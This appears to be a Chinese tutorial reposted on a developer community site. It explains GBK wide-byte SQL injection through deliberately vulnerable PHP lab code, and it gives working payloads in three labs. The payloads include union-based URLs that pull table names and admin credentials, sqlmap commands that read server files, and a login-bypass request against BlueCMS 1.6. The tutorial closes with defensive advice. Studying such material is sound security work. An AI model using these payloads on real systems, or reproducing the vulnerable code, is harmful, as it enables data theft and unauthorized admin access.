首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Hr-Papers-宽字节注入深度讲解

红日安全团队

团队成员:CPR原理介绍

基本概念

1.宽字节是相对于ascII这样单字节而言的;像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节

2.GBK是一种多字符的编码,通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节

3.转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种是配置magic_quote_gpc,不过PHP高版本已经移除此功能

宽字节注入

先了解下SQL的执行过程:1.以php客户端为例,使用者输入数据后,会通过php的默认编码生成sql语句发送给服务器。在php没有开启编码时,php的默认编码为空

此时php会根据数据库中的编码自动来确定使用那种编码,可以使用 来进行判断,如果输出的值是3说明是编码;

如果输出的值是2说明是编码;

2.服务器接收到请求后会把客户端编码的字符串转换成连接层编码字符串(具体流程是先使用系统变量 character_set_client 对 SQL 语句进行解码后,然后使用 系统变量 character_set_connection 对解码后的十六进制进行编码)。

3.进行内部操作前,将请求按照如下规则转化成内部操作字符集,如下:3.1 使用字段 CHARACTER SET 设定值;3.2 若上述值不存在,使用对应数据表的DEFAULT CHARACTER SET设定值;

3.3 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;

3.4 若上述值不存在,则使用character_set_server设定值。4.执行完 SQL 语句之后,将执行结果按照 character_set_results 编码进行输出。宽字节注入指的是mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为\',其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是'運',从而使单引号闭合(逃逸),进行注入攻击

宽字节注入发生的位置就是,然后服务器会根据character_set_connection把请求进行转码,从character_set_client转成character_set_connection,然后更新到数据库的时候,再转化成字段所对应的编码以下是数据的变化过程:

%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’

用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

环境搭建及分析

实验1

为了方便演示该注入的过程,搭建一下环境

链接:https://pan.baidu.com/s/1cMFtCpbbaocMjaWJx7YLcQ密码:ykve

数据库名为test,数据库的编码全部为gdk

将index.php放到phpStudy的WWW目录下,将test.sql文件导入到数据库中即可

简单的源码

/*

Team:红日安全团队

团队成员:CPR

Title:宽字节注入

*/

//连接数据库部分,注意使用了gbk编码

$conn=mysql_connect('localhost','root','root')ordie('bad!');

mysql_query("SET NAMES 'gbk'");

mysql_select_db('test',$conn)ORemMsg("连接数据库失败,未找到您填写的数据库");

//执行sql语句

$id=isset($_GET['id'])?addslashes($_GET['id']) :1;

$sql="SELECT * FROM news WHERE tid='{$id}'";

$result=mysql_query($sql,$conn)ordie(mysql_error());

echo"

"."执行的sql语句是:".$sql."

"

?>

宽字节测试

请输入值:

$row=mysql_fetch_array($result,MYSQL_ASSOC);

echo"{$row['title']}

{$row['content']}

\n";

mysql_free_result($result);

?>

加上这句话,可以清楚的查看sql语句的变化过程。sql语句是根据id从数据库表中获取信息。细节分析单纯加上单引号没有报错,说明addslashes函数发挥了作用,将,这样就不会存在注入了。

此时,在单引号前面加上前面讲的%df,是mysql认为%df\是一个汉字,这样'就可以逃逸出来,使tid = '1'闭合。

这时候,按说是可以构造查询语句了,可是为什么还在报错呢,因为tid='1'后面的'没有闭合,需要使用注释符号(-- '或#)将这个多余的'注释掉,这样就可以构造注入语句了。下面就可以按照手动注入的思路进行数据的获取了。确定表的字段数由于接下来要采用union探测内容,而union的规则是必须要求列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同; 'order by 1'代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列。

http://127.0.0.1/index.php?id=1 %df' order by 4 -- '

可知一共有3个字段确定字段的显示位显示位:表中数据第几位的字段可以 显示,因为并不是所有的查询结果都 会展示在页面中,因此需要探测页面 中展示的查询结果是哪一列的结果; 'union select 1,2,3 -- ' 通过显示的数字可以判断那些字段可以显示出来。

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,3 -- '

id的值要用或者该表中没有用过的id值,否则测试值会被覆盖。获取当前数据库信息现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用:group_concat()函数(可以把查询出来的多行数据连接起来在一个字段中显示) database()函数:查看当前数据库名称 version()函数:查看数据库版本信息 user():返回当前数据库连接使用的用户 char():将十进制ASCII码转化成字符

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(database()) -- '

当前数据库名为'test'。获取test数据库中的表信息Mysql有一个系统的数据库information_schema,里面保存着所有数据库的相关信息,使用该表完成注入

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(table_name)

from information_schema.tables where table_schema=0x74657374 -- '

由于存在转义了单引号,如果在中继续使用单引号包裹数据库名字,就会报错,这时候需要使用十六进制编码来避免这个问题。获取admin表的字段column_name表示获取字段名

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(column_name)

from information_schema.columns where table_name=0x61646d696e -- '

table_name需要使用十六进制编码获取admin表的数据

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,concat(name,char(58),pass) from admin -- '

char(58)是:的意思。数据获取到了,可以更深入一下,比如进行文件的读取,提权等操作。获取当前用户信息此次会用到工具SQLMAP,sqlmap是一个SQL注入工具。此一具在业界称为神器。sqlmap是用python语言编写,如果想对工具详细了解,请到官网了解。下载和使用

http://sqlmap.org/

http://blog.csdn.net/whatday/article/details/54766536

本实验用到sqlmap,以下是用sqlmap工具操作。使用sqlmap工具第一步猜用户

python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --current-user

看到是root用户,可以更方便的搞事情了。读服务器中的文件sqlmap 中参数,可以读取服务器端任意文件

python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --file-read="./index.php"

已经将文件保存到了本地文件夹下正常思路,接下来可以进行提权了,由于该环境是搭建在windows下的,使用参数进行写文件的操作不能执行,这里就不做演示了。实验2

为了方便演示该注入的过程,搭建一下环境

链接:https://pan.baidu.com/s/1WC4D-3o-A7uYAi8w_yQ7sA密码:sbwy

数据库名为test,数据库的编码全部为gdk

将index.php放到phpStudy的WWW目录下,将test.sql文件导入到数据库中即可

源码

/*

Team:红日安全团队

团队成员:CPR

Title:宽字节注入

*/

//连接数据库部分,注意使用了gbk编码

$conn=mysql_connect('localhost','root','root')ordie('bad!');

mysql_query("SET NAMES 'gbk'");

mysql_select_db('test',$conn)ORemMsg("连接数据库失败,未找到您填写的数据库");

//执行sql语句

mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary",$conn);

$id=isset($_GET['id'])?addslashes($_GET['id']) :1;

$id=iconv('utf-8','gbk',$id);

$sql="SELECT * FROM news WHERE tid='{$id}'";

$result=mysql_query($sql,$conn)ordie(mysql_error());

echo"

"."sql:".$sql."

"

?>

gbkchangeutf-8

$row=mysql_fetch_array($result,MYSQL_ASSOC);

echo"{$row['title']}

{$row['content']}

\n";

mysql_free_result($result);

?>

同样也试用了 addslashes转义,然后使用iconv进行转码,由utf-8 -->gbk细节分析为了避免宽字节注入,很多人使用iconv函数(能够完成各种字符集间的转换),其实这样做是有很大风险的,仍旧可以造成宽字节注入。可以使用逆向思维,先找一个gbk的汉字,,是不是已经看出来了,当传入的值是,通过addslashes转义为,通过icov转换为,终止变为了,不难看出%5c%5c正好把反斜杠转义,使单引号逃逸,造成注入。按照实验1的思路,可以执行宽字节注入

出现报错信息,说明存在宽字节注入。

正好把反斜杠转义,使单引号逃逸

获取到数据信息(这里的sql注入方法和实验1一样,读者可以自己尝试练习)实验3bluecms 1.6 版本存在宽字节注入,环境源码:链接:https://pan.baidu.com/s/11PQqPdopA9bkLBY9gYrpqA密码:ek6o漏洞复现该cms的宽字节注入漏洞存在于http://127.0.0.1/bluecmsv1.6/uploads/admin/index.php.此地址是我们的安装地址,如果是在本地搭建,需要根据你的本地地址和路径来进行判断。为了更好演示效果,我们进行如下安装。首先根据上面提示的下载地址进行下载源码。将整个bluecms文件放到phpStudy的WWW目录下,浏览器访问url/bluecms/uploads/install 根据提示进行安装。

打勾继续即可

这一步一定要根据自己的本地数据库信息进行配置,否则会失败。配置好后,下一步会进行安装,稍微一等,就安装完成了。访问 进入存在注入的页面。在管理员界面输入登录信息:

使用burp suit 进行抓包:

POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login

Cookie: PHPSESSID=om57mhu92141dqc3hn8ajce8q1

DNT: 1

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 63

admin_name=admin&admin_pwd=123&submit=%B5%C7%C2%BC&act=do_login

admin_name就是注入点,可以实现万能密码登录(具体的溯源请看细节分析部分)构造payload

POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login

DNT: 1

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 80

admin_name=admin %df' or 1=1 -- '&admin_pwd=11&submit=%B5%C7%C2%BC&act=do_login

成功登录后台

可以看到宽字节显示的汉字‘運’细节分析看下管理员登录界面的源码

define('IN_BLUE', true);

require_once(dirname(__FILE__) . '/include/common.inc.php');

$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'login';

if($act == 'login'){

if($_SESSION['admin_id']){

showmsg('您已登录,不用再次登录', 'index.php');

}

template_assign('current_act', '登录');

$smarty->display('login.htm');

}

...

在第二行可以看到包含了/include/common.inc.php文件,跟进一下

function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){

$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';

if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){

$this->dbshow('Can not connect to Mysql!');

} else {

if($this->dbversion() > '4.1'){

mysql_query( "SET NAMES gbk");

if($this->dbversion() > '5.0.1'){

mysql_query("SET sql_mode = ''",$this->linkid);

}

}

}

...

/include/common.inc.php文件中的mysql实例化对象,调用了这个mysql类,将数据库的连接信息进行封装,重点关注下经过前面的讲解可以知道gbk是双字节,如果再使用了addslashes()等前面所说的函数进行转义操作,那么一定可以触发宽字节注入

if(!get_magic_quotes_gpc())

{

$_POST = deep_addslashes($_POST);

$_GET = deep_addslashes($_GET);

$_COOKIES = deep_addslashes($_COOKIES);

$_REQUEST = deep_addslashes($_REQUEST);

}

如果没有开启,则会对各种请求数据使进行过滤,跟进下这个函数,在文件中

function deep_addslashes($str)

{

if(is_array($str))

{

foreach($str as $key=>$val)

{

$str[$key] = deep_addslashes($val);

}

}

else

{

$str = addslashes($str);

}

return $str;

}

不管是数组还是字符串都会调用函数进行字符的转义至此可以确定能触发宽字节注入sql语句分析前面已经构造了payload,现在看一看完整的sql语句源码

if(check_admin($admin_name, $admin_pwd)){

update_admin_info($admin_name);

if($remember == 1){

...

check_admin()函数使用了输入的用户名和密码,跟进一下该函数在文件中

function check_admin($name, $pwd)

{

global $db;

$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");

if($row['num'] > 0)

{

return true;

}

else

{

return false;

}

}

...

正常的sql语句

SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='$name' and pwd = md5('$pwd')

当从blue_admin表中查到admin的信息,num的值就会大于零,这样就可以登录成功含有payload的sql语句

SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='1 運' or 1=1 -- ' and pwd = md5('$pwd')

登录后台管理,可以寻找上传点,或者利用已知的漏洞,从而getshell,进而控制整个服务器。漏洞防御

使用mysql_set_charset(GBK)指定字符集

SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary

使用mysql_real_escape_string进行转义

mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集(使用mysql_set_charset指定字符集),不会出现前面的df和5c拼接为一个宽字节的问题

以上两个条件需要同时满足才行,缺一不可。

参考链接

http://blog.csdn.net/helloc0de/article/details/76180190

http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html

http://blog.csdn.net/u011721501/article/details/42874517

https://lyiang.wordpress.com/2015/06/09/sql%E6%B3%A8%E5%85%A5%EF%BC%9A%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%EF%BC%88gbk%E5%8F%8C%E5%AD%97%E8%8A%82%E7%BB%95%E8%BF%87%EF%BC%89/

有问题请联系:redBu11

微信公众号ID:sec-redclub

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180316G18GI000?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券